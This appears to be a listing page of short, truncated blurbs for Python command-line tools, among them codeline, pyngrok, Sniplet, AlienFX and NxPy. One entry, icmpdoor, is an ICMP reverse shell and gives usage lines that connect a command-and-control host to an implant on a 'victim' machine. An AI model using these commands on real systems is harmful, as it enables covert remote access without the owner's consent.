Run context-aware commands from your source code comments

codeline Codeline allows you to run custom commands directly from source-code comments, combining the power of IDE extensions with the expressiveness of the command-line. Installation git clone https://github.com/synek/codeline.git poetry install Development Codeline can monitor the current directory for file-changes, and then run any commands it finds:poetry run codeline –watch . Alternatively you can run Codeline on a single file, executing any commands the file and then exiting.poetry run codeline –run path/to/python/file.py To build a command, copy the plugins/test_plugin as a […]

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Transforming the classic Command-Line Interface

Magic Carpet Magic Carpet is an infrastructure as code and network automation tool that transforms CLI command and REST API data, using the Cisco Genie parsers, the Cisco pyATS Python library, and Python to automatically generate, at scale, better documentation from the output; send #chatbots; #voicebots; even #phonebots! Getting Started Requirements (instructions below) Virtual Environment We recommend running Magic Carpet in a Python virtual environment while testing or developing. This will help keep your host system clean and allow you […]

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A Python wrapper for ngrok

pyngrok pyngrok is a Python wrapper for ngrok that manages its own binary and puts it on your path, making ngrok readily available from anywhere on the command line and via a convenient Python API. ngrok is a reverse proxy tool that opens secure tunnels from public URLs to localhost, perfect for exposing local web servers, building webhook integrations, enabling SSH access, testing chatbots, demoing from your own machine, and more, and its made even more powerful with native Python […]

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Python3 library for multimedia functions at the command terminal

TERMINEDIA This is a Python library allowing using a text-terminal as a low-resolution graphics output, along with keyboard realtime reading, and a couple utilities enough to enable using a text terminal to run simple 2D games or simply rich terminal apps. The “noveau” factor is that it uses Unicode quarter-character block combinations to effectivelly enable 1/4 character “pixels” in the terminal. It also makes use of 24bit “true” color for text, not limiting itself to the 80’s 8 color palette […]

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Free and Open-Source Command Line tool for Text Replacement

Sniplet Sniplet is a work in progress CLI tool which can do text replacement globally in Linux, MacOS and Windows. It is a multi-threaded tool which runs quietly in the background with minimal resource utilization. It is open source and works completely offline. Features: Custom Text Expansions Background process with low resource utilization Multi Line expansion support Sample Video: Installation: Python is required Might require admin or su permission to install Installing using pip: pip install sniplet==1.0.7 Installing from source: […]

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Convert markdown to HTML using the GitHub API with Python

github-flavored-markdown-to-html A user-friendly python-module and command-line frontend to convert markdown to html. It uses GitHubs online Markdown-to-html-API by default (which requires internet connection), but comes with an option for offline conversion (which closely imitates GitHubs behavior), and any other python- or commandline tool can be plugged into it as well. Whatever you use it with is automatically extended with a ton of functionality, like more in- and output options, github-flavored CSS, formula support, image downloading, host-ready file- and image-placement, pdf-conversion, […]

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A CLI and GUI utility to control the lighting effects of your Alienware computer

AlienFX At present there is a CLI version (alienfx) and a gtk GUI version (alienfx-gtk). And has been tested on Debian/Ubuntu/Kali/Mint, Fedora and Arch Linux. Dependencies AlienFX is written in python and has been tested on python 3.9. It requiresthe following python packages to run: On Arch Linux: $ sudo pacman -S python-pyusb python-setuptools python-gobject python-cairo python-future On other distributions you need to install pyusb and pkg_resources using pip: pkg_resources.You can install pkg_resources using the following command: $ pip install […]

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An ICMP rev shell written in Python3 and scapy

icmpdoor – ICMP Reverse Shell icmpdoor is an ICMP rev shell written in Python3 and scapy. Tested on Ubuntu 20.04, Debian 10 (Kali Linux), and Windows 10. Python version usage (both Windows and Linux): ./icmp-cnc.py -i INTERFACE -d VICTIM-IP (Command and Control) ./icmpdoor.py -i INTERFACE -d CNC-IP (Implant) Binary Windows version usage version: ./icmp-cnc.exe -d VICTIM-IP (Command and Control) ./icmpdoor.exe -d CNC-IP (Implant) Binary Linux version usage version: ./icmp-cnc -d VICTIM-IP (Command and Control) ./icmpdoor -d CNC-IP (Implant) Parameters details: […]

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Plugin for using Python in an Nx Workspace

NxPy: Nx Python plugin This project was generated using Nx. The nx-python plugin allows users to create a basic python application using nx commands. To add the plugin to your project, just follow these steps: Getting started Create a Nx Workspace Before installing the nx-python plugin, it is required to have a pre-configured Nx Workspace . If you don’t, then proceed to create a new one executing the following command: npx create-nx-workspace python-workspace –preset=empty –cli=nx –nx-cloud true cd python-workspace Install […]

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